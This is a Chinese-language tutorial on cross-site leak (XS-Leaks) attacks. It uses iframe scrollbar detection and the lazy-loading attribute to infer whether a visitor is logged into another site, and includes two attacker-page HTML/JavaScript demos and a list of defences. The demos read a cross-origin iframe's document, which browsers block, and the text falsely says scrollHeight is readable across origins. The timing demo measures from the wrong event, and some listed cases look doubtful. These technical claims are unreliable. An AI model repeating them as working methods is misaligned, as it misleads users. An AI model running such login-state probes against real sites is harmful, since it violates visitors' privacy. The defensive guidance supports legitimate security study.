CSS 跨站泄露(XS-Leaks):利用滚动条出现与 `loading` 属性检测不同源页面状态

CSS 跨站泄露 (XS-Leaks):利用滚动条出现与 loading 属性检测不同源页面状态

大家好,今天我们来深入探讨一种有趣的跨站泄露 (XS-Leaks) 技术,它巧妙地利用了 CSS 的特性,特别是滚动条的出现以及 HTML loading 属性,来检测不同源页面的内部状态。这种攻击手段隐蔽性强,难以察觉,因此值得我们高度关注。

1. XS-Leaks 的基本概念

在深入讨论具体技术之前,我们先来回顾一下 XS-Leaks 的核心概念。跨站泄露 (Cross-Site Leaks) 是一种攻击技术,它允许恶意网站推断用户在其他网站上的敏感信息,而无需直接读取这些信息。攻击者通常利用浏览器的一些特性,例如缓存、HTTP 状态码、渲染时间等,来间接获取信息。XS-Leaks 的危害在于,它可以绕过同源策略 (Same-Origin Policy),泄露用户的登录状态、个人信息,甚至历史浏览记录。

2. 滚动条出现与页面状态检测

这种 XS-Leaks 攻击的核心思想是:不同源页面的某些状态变化会影响目标页面滚动条的出现与消失,攻击者可以通过 JavaScript 监控滚动条的状态,从而推断目标页面的状态。

2.1 基本原理

  • 页面内容变化导致滚动条出现: 当目标页面内容超出视口高度时,会出现垂直滚动条。
  • overflow: hidden 的影响: 如果目标页面设置了 overflow: hidden,即使内容超出视口,滚动条也不会出现。
  • 攻击者利用 iframe: 攻击者通常会将目标页面嵌入到 iframe 中,然后通过 JavaScript 监控 iframe 的滚动条状态。
  • 时序攻击: 攻击者需要精确控制 JavaScript 代码的执行时机,以确保在目标页面状态发生变化时能够及时捕获滚动条状态。

2.2 攻击示例

假设存在一个目标网站 target.com,它有一个页面 /profile,只有登录用户才能访问。未登录用户访问该页面时会被重定向到登录页面。攻击者想要判断用户是否登录了 target.com

攻击步骤:

  1. 创建恶意网站 attacker.com: 攻击者创建一个恶意网站,包含一个 iframe,iframe 的 src 指向 target.com/profile
  2. 设置 iframe 样式: 攻击者设置 iframe 的样式,使其初始高度很小,例如 1px,并且设置 overflow: hidden,这样初始情况下不会出现滚动条。
  3. JavaScript 监控: 攻击者使用 JavaScript 代码监控 iframe 的高度变化和滚动条状态。
  4. 推断用户登录状态:

    • 如果用户未登录,target.com/profile 会被重定向到登录页面,登录页面通常内容较少,iframe 内容高度变化不大,滚动条仍然不会出现。
    • 如果用户已登录,target.com/profile 会显示用户个人资料,页面内容较多,iframe 内容高度会增加,超出视口高度,但由于 overflow: hidden,滚动条仍然不会出现。 然而,我们可以通过调整 iframe 的高度来触发滚动条。 比如,我们将 iframe 高度逐步增加,直到出现滚动条。 通过统计高度的变化,可以推断页面内容的大小,从而判断用户是否登录。

代码示例 (attacker.com):

<!DOCTYPE html>
<html>
<head>
    <title>XS-Leaks Demo</title>
</head>
<body>
    <h1>XS-Leaks Demo - Scrollbar Detection</h1>
    <iframe id="targetFrame" src="https://target.com/profile" style="width: 500px; height: 1px; border: 1px solid black; overflow: hidden;"></iframe>
    <div id="result"></div>

    <script>
        const targetFrame = document.getElementById('targetFrame');
        const resultDiv = document.getElementById('result');

        let height = 1;

        function checkScrollbar() {
            targetFrame.style.height = height + 'px';

            // 延迟一段时间,等待iframe加载完成并渲染
            setTimeout(() => {
                if (targetFrame.contentWindow.document.documentElement.scrollHeight > height) {
                    resultDiv.textContent = "User is likely logged in (Scrollbar detected after height: " + height + "px)";
                } else {
                    if(height > 500){
                        resultDiv.textContent = "User is likely NOT logged in (No scrollbar detected after 500px)";
                    } else {
                        height += 10;
                        checkScrollbar();
                    }

                }
            }, 100);
        }

        checkScrollbar();
    </script>
</body>
</html>

代码解释:

  • iframesrc 指向 target.com/profile,并设置了初始高度为 1px,overflow: hidden 防止出现滚动条。
  • checkScrollbar 函数递归地增加 iframe 的高度,并检查滚动条是否出现。
  • targetFrame.contentWindow.document.documentElement.scrollHeight 获取 iframe 内部文档的实际高度。
  • 如果实际高度大于当前 iframe 高度,则说明出现了滚动条,推断用户已登录。

2.3 注意事项

  • 时间延迟: 代码中使用了 setTimeout 函数,这是因为 iframe 加载和渲染需要时间。 延迟时间需要根据网络状况和目标网站的响应速度进行调整。
  • 同源策略限制: JavaScript 代码无法直接访问 iframe 内部的内容,但可以读取 scrollHeight 属性来判断滚动条状态。
  • 目标网站防御: 目标网站可以通过设置 X-Frame-OptionsContent-Security-Policy 来防止被嵌入到 iframe 中,从而防御这种攻击。

3. 利用 loading 属性检测资源加载状态

HTML5 引入了 loading 属性,可以控制图片和 iframe 的延迟加载。 这个属性可以设置为 lazyeagerauto。 通过监控 loading 属性的变化,攻击者可以推断目标网站的某些状态。

3.1 基本原理

  • loading="lazy": 浏览器会延迟加载图片或 iframe,直到它们接近视口时才会开始加载。
  • 资源加载时间: 加载不同资源所需的时间可能不同。例如,用户已登录时加载的用户资料图片可能比未登录时加载的默认图片更大,加载时间更长。
  • 攻击者监控 loading 属性: 攻击者可以通过 JavaScript 代码监控 iframe 的 loading 属性,并测量资源加载时间。
  • 推断用户状态: 根据资源加载时间的长短,攻击者可以推断用户是否登录,或者其他一些状态信息。

3.2 攻击示例

假设 target.com/profile 页面包含一张用户头像,用户登录后显示真实头像,未登录则显示默认头像。 攻击者想要判断用户是否登录。

攻击步骤:

  1. 创建恶意网站 attacker.com: 攻击者创建一个恶意网站,包含一个 iframe,iframe 的 src 指向 target.com/profile
  2. 设置 iframe 样式: 设置 loading="lazy",延迟加载 iframe。
  3. JavaScript 监控: 攻击者使用 JavaScript 代码监控 iframe 的 loading 属性变化,并测量资源加载时间。
  4. 推断用户登录状态:

    • 如果用户未登录,加载默认头像,资源较小,加载时间较短。
    • 如果用户已登录,加载真实头像,资源较大,加载时间较长。 攻击者可以通过比较加载时间来推断用户是否登录。

代码示例 (attacker.com):

<!DOCTYPE html>
<html>
<head>
    <title>XS-Leaks Demo</title>
</head>
<body>
    <h1>XS-Leaks Demo - Loading Attribute Detection</h1>
    <iframe id="targetFrame" src="https://target.com/profile" loading="lazy" style="width: 500px; height: 300px; border: 1px solid black;"></iframe>
    <div id="result"></div>

    <script>
        const targetFrame = document.getElementById('targetFrame');
        const resultDiv = document.getElementById('result');

        let startTime = null;

        targetFrame.onload = function() {
            const img = targetFrame.contentWindow.document.querySelector('img[src*="avatar"]'); // 选择包含 "avatar" 的图片

            if (img) {
                img.onload = function() {
                    const endTime = new Date().getTime();
                    const loadTime = endTime - startTime;

                    if (loadTime > 500) {
                        resultDiv.textContent = "User is likely logged in (Avatar load time: " + loadTime + "ms)";
                    } else {
                        resultDiv.textContent = "User is likely NOT logged in (Avatar load time: " + loadTime + "ms)";
                    }
                };
            } else {
                resultDiv.textContent = "Avatar image not found.";
            }
        };

        targetFrame.addEventListener('load', () => {
            startTime = new Date().getTime();
        });
    </script>
</body>
</html>

代码解释:

  • iframesrc 指向 target.com/profile,设置了 loading="lazy"
  • startTime 记录 iframe 加载开始的时间。
  • targetFrame.onload 事件在 iframe 加载完成后触发。
  • 代码选择 iframe 内部包含 "avatar" 的图片元素,并监听其 onload 事件。
  • 在图片加载完成后,计算加载时间,并根据加载时间长短推断用户是否登录。

3.3 注意事项

  • 网络状况: 资源加载时间受网络状况影响较大,攻击结果可能不稳定。
  • 浏览器优化: 浏览器可能会对资源加载进行优化,例如缓存等,这会影响加载时间。
  • 目标网站防御: 目标网站可以通过使用 CDN、优化图片大小等方式来减少资源加载时间,从而降低被攻击的风险。

4. 防御 XS-Leaks

防御 XS-Leaks 需要从多个方面入手,包括:

  • 同源策略 (Same-Origin Policy): 严格执行同源策略,限制跨域访问。
  • X-Frame-OptionsContent-Security-Policy: 使用这些 HTTP 头部来防止网站被嵌入到 iframe 中。
  • Subresource Integrity (SRI): 使用 SRI 确保从 CDN 加载的资源没有被篡改。
  • Cross-Origin Resource Sharing (CORS): 谨慎使用 CORS,只允许可信的域名进行跨域访问。
  • 信息隐藏: 避免在 URL 中包含敏感信息。
  • 速率限制: 对某些敏感操作进行速率限制,防止攻击者进行暴力破解。
  • 用户输入验证: 对用户输入进行严格验证,防止 XSS 攻击。
  • SameSite Cookies: 使用 SameSite 属性来限制 Cookie 的跨站使用。 SameSite=Strict 可以完全禁止跨站 Cookie,SameSite=Lax 允许部分跨站 Cookie。
  • Partitioned Cookies: 使用 CHIPS(Cookies Having Independent Partitioned State) 提案来将cookies分区,防止跨站追踪。
  • 规范化URL:服务器端对URL进行规范化处理,防止攻击者利用URL构造不同的请求来绕过防御。
  • 使用令牌(Tokens):在敏感操作中使用一次性令牌(CSRF tokens),防止跨站请求伪造。

5. 案例分析

以下是一些已知的 XS-Leaks 案例:

漏洞描述 受影响网站/应用 攻击方式
检测用户是否在特定网站上拥有账户 多个网站 利用缓存、HTTP 状态码、渲染时间等来判断用户是否已登录。
泄露用户的私有 GitHub 仓库信息 GitHub 利用渲染时间差异来判断用户是否拥有某个私有仓库的访问权限。
泄露用户的 Google Hangouts 联系人列表 Google Hangouts 利用 iframe 和 window.name 属性来获取用户联系人列表。
检测用户是否订阅了特定 YouTube 频道 YouTube 利用 CSS :visited 伪类来判断用户是否访问过某个频道页面。

6. 漏洞挖掘与测试

  • 渗透测试: 在渗透测试过程中,需要重点关注是否存在 XS-Leaks 漏洞。
  • 安全审计: 定期进行安全审计,检查代码是否存在安全隐患。
  • 漏洞扫描: 使用自动化漏洞扫描工具来检测 XS-Leaks 漏洞。
  • 手动测试: 手动测试是发现 XS-Leaks 漏洞的重要手段。 渗透测试人员需要具备扎实的 Web 安全知识和丰富的经验,才能有效地发现这些隐蔽的漏洞。

7. 持续关注和学习

XS-Leaks 是一种不断演变的攻击技术,新的攻击方法层出不穷。 我们需要持续关注最新的研究成果,学习新的防御技术,才能更好地保护我们的网站和应用。

总结: 滚动条、loading 属性与安全意识

通过操纵 iframe 高度和监控滚动条出现,以及利用 loading 属性分析资源加载时间,攻击者可以间接获取目标网站的用户状态信息。加强安全意识,使用安全的编码实践,定期审计代码,是防御此类攻击的关键。

更多IT精英技术系列讲座,到智猿学院

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注